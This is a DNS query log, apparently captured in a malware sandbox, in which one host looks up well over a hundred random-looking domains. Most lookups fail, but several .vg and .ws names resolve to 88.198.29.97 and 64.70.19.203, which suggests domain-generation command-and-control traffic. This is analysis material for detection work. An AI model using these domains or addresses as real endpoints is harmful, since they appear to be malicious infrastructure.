Sep 7, 2024 15:32:35.981621981 CEST	1.1.1.1	192.168.2.7	0x9221	Name error (3)	ruzeynr.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:36.019906998 CEST	1.1.1.1	192.168.2.7	0x6cf	Name error (3)	ruzeynr.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:36.100167990 CEST	1.1.1.1	192.168.2.7	0x8999	No error (0)	okwkkycrsduhw.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:36.466401100 CEST	1.1.1.1	192.168.2.7	0x9a37	Name error (3)	ugwwofeoio.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:36.509040117 CEST	1.1.1.1	192.168.2.7	0x994d	Name error (3)	ugwwofeoio.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:36.617208004 CEST	1.1.1.1	192.168.2.7	0x657b	Name error (3)	kbisc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:36.652126074 CEST	1.1.1.1	192.168.2.7	0x9c38	Name error (3)	kbisc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:36.733954906 CEST	1.1.1.1	192.168.2.7	0x7afa	No error (0)	pzxzcgj.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:36.750752926 CEST	1.1.1.1	192.168.2.7	0x2ed2	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:36.761399984 CEST	1.1.1.1	192.168.2.7	0x5efa	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:36.933082104 CEST	1.1.1.1	192.168.2.7	0x2bad	Name error (3)	ncmre.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:37.042283058 CEST	1.1.1.1	192.168.2.7	0x2fcd	Name error (3)	ncmre.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:37.163260937 CEST	1.1.1.1	192.168.2.7	0xbfe2	Name error (3)	voomgpoigqg.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:37.212996960 CEST	1.1.1.1	192.168.2.7	0xca8e	Name error (3)	voomgpoigqg.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:37.530005932 CEST	1.1.1.1	192.168.2.7	0x3332	Name error (3)	tdeimvcykioj.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:37.768307924 CEST	1.1.1.1	192.168.2.7	0x17ef	Name error (3)	tdeimvcykioj.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:37.850435972 CEST	1.1.1.1	192.168.2.7	0xdf4f	Name error (3)	dovrmtcu.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:37.865282059 CEST	1.1.1.1	192.168.2.7	0x5d34	Name error (3)	dovrmtcu.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:38.198148966 CEST	1.1.1.1	192.168.2.7	0x457e	Name error (3)	gaevfusgoc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:38.230048895 CEST	1.1.1.1	192.168.2.7	0xfcc	Name error (3)	gaevfusgoc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:38.475990057 CEST	1.1.1.1	192.168.2.7	0xbb38	Name error (3)	amcqbymk.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:38.647588968 CEST	1.1.1.1	192.168.2.7	0x4e2d	Name error (3)	amcqbymk.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:38.719614029 CEST	1.1.1.1	192.168.2.7	0x81c8	Name error (3)	enokudiliwi.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:38.734513044 CEST	1.1.1.1	192.168.2.7	0x7647	Name error (3)	enokudiliwi.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:39.060337067 CEST	1.1.1.1	192.168.2.7	0xa8b0	Name error (3)	iskhcigwkvdpoz.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:39.231847048 CEST	1.1.1.1	192.168.2.7	0x4534	Name error (3)	iskhcigwkvdpoz.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:39.645550013 CEST	1.1.1.1	192.168.2.7	0x6ebb	Name error (3)	vduxgekeesug.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:39.650198936 CEST	1.1.1.1	192.168.2.7	0x6ebb	Name error (3)	vduxgekeesug.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:39.813345909 CEST	1.1.1.1	192.168.2.7	0xa2b4	Name error (3)	vduxgekeesug.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:39.890081882 CEST	1.1.1.1	192.168.2.7	0xe0f4	Name error (3)	mtpspkdykux.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:39.901757956 CEST	1.1.1.1	192.168.2.7	0xe7f2	Name error (3)	mtpspkdykux.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:40.009749889 CEST	1.1.1.1	192.168.2.7	0xb22e	Name error (3)	zimjctbzm.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:40.056502104 CEST	1.1.1.1	192.168.2.7	0x64dd	Name error (3)	zimjctbzm.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:40.347285986 CEST	1.1.1.1	192.168.2.7	0x561	Name error (3)	gcwol.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:40.594690084 CEST	1.1.1.1	192.168.2.7	0x10d9	Name error (3)	gcwol.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:40.766819000 CEST	1.1.1.1	192.168.2.7	0x57a2	Name error (3)	jgucgaawejuuw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.007855892 CEST	1.1.1.1	192.168.2.7	0x8405	Name error (3)	jgucgaawejuuw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.080825090 CEST	1.1.1.1	192.168.2.7	0xb2bb	No error (0)	seoojlsinux.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.172674894 CEST	1.1.1.1	192.168.2.7	0x7b27	Name error (3)	egbwheeqrkp.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.186615944 CEST	1.1.1.1	192.168.2.7	0x1eff	Name error (3)	egbwheeqrkp.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.290401936 CEST	1.1.1.1	192.168.2.7	0x595c	Name error (3)	wwmomgmzcuogux.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.335753918 CEST	1.1.1.1	192.168.2.7	0x71e2	Name error (3)	wwmomgmzcuogux.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.405416965 CEST	1.1.1.1	192.168.2.7	0x24d7	No error (0)	mvrooosmgqanq.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.424901009 CEST	1.1.1.1	192.168.2.7	0xdabf	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.437550068 CEST	1.1.1.1	192.168.2.7	0xf5ef	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.610553026 CEST	1.1.1.1	192.168.2.7	0x5df5	Name error (3)	wqfmmmssa.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.709966898 CEST	1.1.1.1	192.168.2.7	0x3762	Name error (3)	wqfmmmssa.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.792927027 CEST	1.1.1.1	192.168.2.7	0x8382	Name error (3)	sgykkmj.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:41.817264080 CEST	1.1.1.1	192.168.2.7	0xb84b	Name error (3)	sgykkmj.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:42.123661995 CEST	1.1.1.1	192.168.2.7	0xa5ab	Name error (3)	yusswcr.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:42.368881941 CEST	1.1.1.1	192.168.2.7	0x26e0	Name error (3)	yusswcr.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:42.664963961 CEST	1.1.1.1	192.168.2.7	0xe2f6	Name error (3)	kiqtkgket.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:42.860867023 CEST	1.1.1.1	192.168.2.7	0x1791	Name error (3)	kiqtkgket.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:42.959768057 CEST	1.1.1.1	192.168.2.7	0xb24a	Name error (3)	kqkxiogyhafi.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:42.996941090 CEST	1.1.1.1	192.168.2.7	0x6369	Name error (3)	kqkxiogyhafi.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:43.106332064 CEST	1.1.1.1	192.168.2.7	0x7044	Name error (3)	oqqhbcoxcyqsw.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:43.156558037 CEST	1.1.1.1	192.168.2.7	0xf5ff	Name error (3)	oqqhbcoxcyqsw.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:43.238050938 CEST	1.1.1.1	192.168.2.7	0x5722	No error (0)	kvaqewnz.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:43.338299036 CEST	1.1.1.1	192.168.2.7	0x52cb	Name error (3)	wwocl.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:43.359328985 CEST	1.1.1.1	192.168.2.7	0x11d5	Name error (3)	wwocl.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:43.591147900 CEST	1.1.1.1	192.168.2.7	0x9f3a	Name error (3)	vqnywntafnmpk.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:43.779548883 CEST	1.1.1.1	192.168.2.7	0xc7c2	Name error (3)	vqnywntafnmpk.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:43.864094973 CEST	1.1.1.1	192.168.2.7	0x4889	Name error (3)	qmqhowr.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:43.887175083 CEST	1.1.1.1	192.168.2.7	0x8865	Name error (3)	qmqhowr.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:44.183996916 CEST	1.1.1.1	192.168.2.7	0x91ad	Name error (3)	ietwickcse.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:44.421366930 CEST	1.1.1.1	192.168.2.7	0x1e83	Name error (3)	ietwickcse.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:44.501204967 CEST	1.1.1.1	192.168.2.7	0x6f12	Name error (3)	uufmo.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:44.541081905 CEST	1.1.1.1	192.168.2.7	0xecbd	Name error (3)	uufmo.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:44.613971949 CEST	1.1.1.1	192.168.2.7	0x4b79	Name error (3)	yurwweldkbjesn.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:44.626029015 CEST	1.1.1.1	192.168.2.7	0xc3b9	Name error (3)	yurwweldkbjesn.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:44.718540907 CEST	1.1.1.1	192.168.2.7	0x67ff	Name error (3)	kscqiwevyqu.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:44.731996059 CEST	1.1.1.1	192.168.2.7	0x33a0	Name error (3)	kscqiwevyqu.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:44.835199118 CEST	1.1.1.1	192.168.2.7	0xbebd	Name error (3)	aesuwhvsk.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:44.857814074 CEST	1.1.1.1	192.168.2.7	0xc82b	Name error (3)	aesuwhvsk.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:45.148617029 CEST	1.1.1.1	192.168.2.7	0x6283	Name error (3)	nxcvuk.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:45.247805119 CEST	1.1.1.1	192.168.2.7	0x7521	Name error (3)	nxcvuk.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:45.341300964 CEST	1.1.1.1	192.168.2.7	0x4949	Name error (3)	kszugzq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:45.385291100 CEST	1.1.1.1	192.168.2.7	0xaf25	Name error (3)	kszugzq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:45.480770111 CEST	1.1.1.1	192.168.2.7	0x1b47	Name error (3)	fmslnmq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:45.749593019 CEST	1.1.1.1	192.168.2.7	0x8e85	Name error (3)	fmslnmq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:45.815680027 CEST	1.1.1.1	192.168.2.7	0x7873	Name error (3)	aawwbcseutmfcl.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:45.827270031 CEST	1.1.1.1	192.168.2.7	0xcc5f	Name error (3)	aawwbcseutmfcl.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:46.118391037 CEST	1.1.1.1	192.168.2.7	0x7ba3	Name error (3)	hezceuiftke.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:46.413201094 CEST	1.1.1.1	192.168.2.7	0x7996	Name error (3)	hezceuiftke.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:46.510133982 CEST	1.1.1.1	192.168.2.7	0xfcfd	Name error (3)	ocqyuj.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:46.552582979 CEST	1.1.1.1	192.168.2.7	0xd58b	Name error (3)	ocqyuj.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:46.631993055 CEST	1.1.1.1	192.168.2.7	0xc771	No error (0)	nqwrhwh.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:46.661780119 CEST	1.1.1.1	192.168.2.7	0x9f3f	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:46.680704117 CEST	1.1.1.1	192.168.2.7	0x25a	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:46.756242037 CEST	1.1.1.1	192.168.2.7	0x5bc	No error (0)	kvubzmczh.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:46.863341093 CEST	1.1.1.1	192.168.2.7	0x3034	No error (0)	zadykwd.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:47.186626911 CEST	1.1.1.1	192.168.2.7	0x767e	Name error (3)	axgswoeox.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:47.202402115 CEST	1.1.1.1	192.168.2.7	0xc1f2	Name error (3)	axgswoeox.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:47.598402023 CEST	1.1.1.1	192.168.2.7	0x6ffe	Name error (3)	exslboec.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:47.598422050 CEST	1.1.1.1	192.168.2.7	0x6ffe	Name error (3)	exslboec.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:47.710638046 CEST	1.1.1.1	192.168.2.7	0x6e39	Name error (3)	exslboec.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:47.783294916 CEST	1.1.1.1	192.168.2.7	0x77ec	Name error (3)	xydqmq.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:47.797719955 CEST	1.1.1.1	192.168.2.7	0x3046	Name error (3)	xydqmq.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:47.859642029 CEST	1.1.1.1	192.168.2.7	0x7a8e	Name error (3)	ureufjfscvw.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:47.877784967 CEST	1.1.1.1	192.168.2.7	0xcb15	Name error (3)	ureufjfscvw.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:47.954216957 CEST	1.1.1.1	192.168.2.7	0x3560	Name error (3)	qukaoenppdr.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:47.965851068 CEST	1.1.1.1	192.168.2.7	0x56c1	Name error (3)	qukaoenppdr.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.037189960 CEST	1.1.1.1	192.168.2.7	0x3f87	Name error (3)	wuaqmwmuq.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.049360037 CEST	1.1.1.1	192.168.2.7	0xecd	Name error (3)	wuaqmwmuq.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.217818022 CEST	1.1.1.1	192.168.2.7	0x894c	Name error (3)	yoieyaauosuop.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.320869923 CEST	1.1.1.1	192.168.2.7	0x26fc	Name error (3)	yoieyaauosuop.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.390151024 CEST	1.1.1.1	192.168.2.7	0x6be5	Name error (3)	eqbfeahpasxa.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.415940046 CEST	1.1.1.1	192.168.2.7	0x6e97	Name error (3)	eqbfeahpasxa.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.584582090 CEST	1.1.1.1	192.168.2.7	0x3d62	Name error (3)	dufzmo.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.695149899 CEST	1.1.1.1	192.168.2.7	0x3d6	Name error (3)	dufzmo.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.792632103 CEST	1.1.1.1	192.168.2.7	0x53d2	Name error (3)	gkqkubfq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.834338903 CEST	1.1.1.1	192.168.2.7	0xa70c	Name error (3)	gkqkubfq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.907154083 CEST	1.1.1.1	192.168.2.7	0x50a0	Name error (3)	yhhsuyuy.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.918986082 CEST	1.1.1.1	192.168.2.7	0x1fd0	Name error (3)	yhhsuyuy.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:48.989882946 CEST	1.1.1.1	192.168.2.7	0x4c4f	Name error (3)	yqufyzcii.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.009107113 CEST	1.1.1.1	192.168.2.7	0xd8e8	Name error (3)	yqufyzcii.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.085628033 CEST	1.1.1.1	192.168.2.7	0x6e08	Name error (3)	aokmmn.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.111470938 CEST	1.1.1.1	192.168.2.7	0xf813	Name error (3)	aokmmn.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.198852062 CEST	1.1.1.1	192.168.2.7	0x2ff0	No error (0)	rgynpqeeyvwhea.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.373908043 CEST	1.1.1.1	192.168.2.7	0x46da	Name error (3)	oxiokjsmy.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.416728973 CEST	1.1.1.1	192.168.2.7	0xb8ae	Name error (3)	oxiokjsmy.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.485168934 CEST	1.1.1.1	192.168.2.7	0x6e42	Name error (3)	kkukybacbc.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.501532078 CEST	1.1.1.1	192.168.2.7	0xd202	Name error (3)	kkukybacbc.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.588960886 CEST	1.1.1.1	192.168.2.7	0xeff8	Name error (3)	ggguy.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.629276037 CEST	1.1.1.1	192.168.2.7	0xab1c	Name error (3)	ggguy.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.810930014 CEST	1.1.1.1	192.168.2.7	0xb68d	Name error (3)	ukympeomsmgamx.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:49.932338953 CEST	1.1.1.1	192.168.2.7	0xf4a9	Name error (3)	ukympeomsmgamx.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:50.092976093 CEST	1.1.1.1	192.168.2.7	0x5d2a	Name error (3)	mkudp.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:50.195524931 CEST	1.1.1.1	192.168.2.7	0xa4a8	Name error (3)	mkudp.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:50.269165993 CEST	1.1.1.1	192.168.2.7	0x8284	No error (0)	tggrkab.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:50.584538937 CEST	1.1.1.1	192.168.2.7	0x5599	Name error (3)	iwoanvgfgcosi.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:50.788921118 CEST	1.1.1.1	192.168.2.7	0x7283	Name error (3)	iwoanvgfgcosi.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:50.892229080 CEST	1.1.1.1	192.168.2.7	0x5e8f	Name error (3)	ubimxwueei.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:50.927618027 CEST	1.1.1.1	192.168.2.7	0xd7e0	Name error (3)	ubimxwueei.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:51.094153881 CEST	1.1.1.1	192.168.2.7	0xa7b6	Name error (3)	wjqkjllxvdqas.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:51.389544964 CEST	1.1.1.1	192.168.2.7	0x21de	Name error (3)	wjqkjllxvdqas.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:51.396487951 CEST	1.1.1.1	192.168.2.7	0x21de	Name error (3)	wjqkjllxvdqas.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:51.545104980 CEST	1.1.1.1	192.168.2.7	0xe1e4	Name error (3)	cqpowqxlcjy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:51.753266096 CEST	1.1.1.1	192.168.2.7	0xa89c	Name error (3)	cqpowqxlcjy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:51.823357105 CEST	1.1.1.1	192.168.2.7	0xd85c	Name error (3)	qkakiocybnc.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:51.835656881 CEST	1.1.1.1	192.168.2.7	0x7a63	Name error (3)	qkakiocybnc.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:51.925903082 CEST	1.1.1.1	192.168.2.7	0x19da	No error (0)	lqgthicggq.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:51.960081100 CEST	1.1.1.1	192.168.2.7	0x6437	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:51.982891083 CEST	1.1.1.1	192.168.2.7	0xad99	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:52.140635967 CEST	1.1.1.1	192.168.2.7	0x8fe3	Name error (3)	wopauawbugs.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:52.625499964 CEST	1.1.1.1	192.168.2.7	0xc348	Name error (3)	wopauawbugs.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:52.625895023 CEST	1.1.1.1	192.168.2.7	0xc348	Name error (3)	wopauawbugs.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:52.777806044 CEST	1.1.1.1	192.168.2.7	0x5e3b	Name error (3)	sqiiggeifsi.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:52.889249086 CEST	1.1.1.1	192.168.2.7	0xb03d	Name error (3)	sqiiggeifsi.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:52.974853039 CEST	1.1.1.1	192.168.2.7	0xc49b	Name error (3)	swwayobyywm.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:53.016144991 CEST	1.1.1.1	192.168.2.7	0xd1ee	Name error (3)	swwayobyywm.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:53.114733934 CEST	1.1.1.1	192.168.2.7	0xff3	Name error (3)	qyykatcuf.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:53.152849913 CEST	1.1.1.1	192.168.2.7	0x85c2	Name error (3)	qyykatcuf.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:53.227781057 CEST	1.1.1.1	192.168.2.7	0x3b1b	No error (0)	cywyeymyaxygg.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:53.591063023 CEST	1.1.1.1	192.168.2.7	0xce3a	Name error (3)	weyisuolokmpk.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:53.875498056 CEST	1.1.1.1	192.168.2.7	0x1056	Name error (3)	weyisuolokmpk.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:53.875601053 CEST	1.1.1.1	192.168.2.7	0x1056	Name error (3)	weyisuolokmpk.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:54.033761978 CEST	1.1.1.1	192.168.2.7	0x625b	Name error (3)	sslnpll.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:54.876462936 CEST	1.1.1.1	192.168.2.7	0x6ebc	Name error (3)	sslnpll.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:54.877269983 CEST	1.1.1.1	192.168.2.7	0x6ebc	Name error (3)	sslnpll.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:55.165301085 CEST	1.1.1.1	192.168.2.7	0x44bd	Name error (3)	ghwzgwvns.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:55.411858082 CEST	1.1.1.1	192.168.2.7	0x7865	Name error (3)	ghwzgwvns.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:55.724972963 CEST	1.1.1.1	192.168.2.7	0x31fd	Name error (3)	iugwkmo.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.156883955 CEST	1.1.1.1	192.168.2.7	0xab31	Name error (3)	iugwkmo.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.156902075 CEST	1.1.1.1	192.168.2.7	0xab31	Name error (3)	iugwkmo.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.306941032 CEST	1.1.1.1	192.168.2.7	0x5464	Name error (3)	zbasqxc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.420897961 CEST	1.1.1.1	192.168.2.7	0xa782	Name error (3)	zbasqxc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.525145054 CEST	1.1.1.1	192.168.2.7	0xe56e	Name error (3)	yumaq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.568851948 CEST	1.1.1.1	192.168.2.7	0x2104	Name error (3)	yumaq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.624525070 CEST	1.1.1.1	192.168.2.7	0x2ef	Name error (3)	wosotuabnnisil.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.636877060 CEST	1.1.1.1	192.168.2.7	0x8e0a	Name error (3)	wosotuabnnisil.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.704067945 CEST	1.1.1.1	192.168.2.7	0xbd9c	Name error (3)	wscpiyyza.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.717468023 CEST	1.1.1.1	192.168.2.7	0x414c	Name error (3)	wscpiyyza.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:56.784226894 CEST	1.1.1.1	192.168.2.7	0x4d2b	Name error (3)	uqhvo.pw	none	none	A (IP address)	IN (0x0001)	false
